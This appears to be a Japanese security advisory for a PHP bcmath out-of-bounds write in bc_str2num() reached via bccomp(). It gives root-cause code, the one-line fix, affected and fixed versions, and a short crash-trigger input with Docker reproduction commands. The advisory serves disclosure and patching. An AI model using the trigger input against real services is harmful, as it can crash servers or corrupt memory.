
CVE-2026-17544 — PHP bcmath bccomp() の OOB 書き込み(スタックスマッシング)。検証済み: 8.4.23/8.5.8 でクラッシュ、8.4.24 で修正済み。GHSA-x692-q9x7-8c3f
bccomp() 領域外書き込み(スタック破壊)CVSS 9.8(緊急) · CWE-787 · GHSA-x692-q9x7-8c3f
ext/bcmath/libbcmath/src/str2num.c(ベンダリングされた libbcmath、PHP 8.4+)の bc_str2num() に、
off-by-N の領域外書き込みが存在します。ユーザー指定の scale がオペランドの自動
スケールより小さい場合、小数部が切り詰められ、その後 fractional_end を更新せずに
末尾ゼロのトリムが実行されます。バッファはトリム後(より短い)長さで割り当てられますが、コピーは
トリム前の長さを使用します → ヒープ/スタックバッファオーバーフロー。
影響を受けるバージョン: PHP 8.4.* < 8.4.24、8.5.* < 8.5.9
修正版: PHP 8.4.24 / 8.5.9(2026-07-30)、コミット fa18dab73f93 / ce2ec8a70755
報告者: Recep Asan(recepasan)
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end; // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale) // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end) // copies UNTRIMMED length
1 行の修正(fractional_end = fractional_new_end;)とリグレッションテスト
ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt は 8.4.24/8.5.9 でマージされました。
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);
2026-08-12 に Raspberry Pi 5(arm64)上で Docker 経由にて検証済み。
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)
# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0
bccomp() に攻撃者が制御するオペランド/スケールを渡す任意のサービスは、
決定的にクラッシュする可能性があります(8.4/8.5、スタック保護付きビルドはアボート、非保護ビルドは
保存されたレジスタ/リターンアドレスを破壊)。fa18dab73f93 · 修正 8.5: ce2ec8a70755| ビルド |
|---|
| 結果 |
|---|
PHP 8.4.23(脆弱、Docker php:8.4.23-cli + bcmath) | 💥 *** stack smashing detected ***、exit 133(SIGABRT) |
| PHP 8.5.8(脆弱) | 💥 同じ — 決定的にアボート |
PHP 8.4.24(修正済み、php:8.4.24-cli) | ✅ int(1)、exit 0 |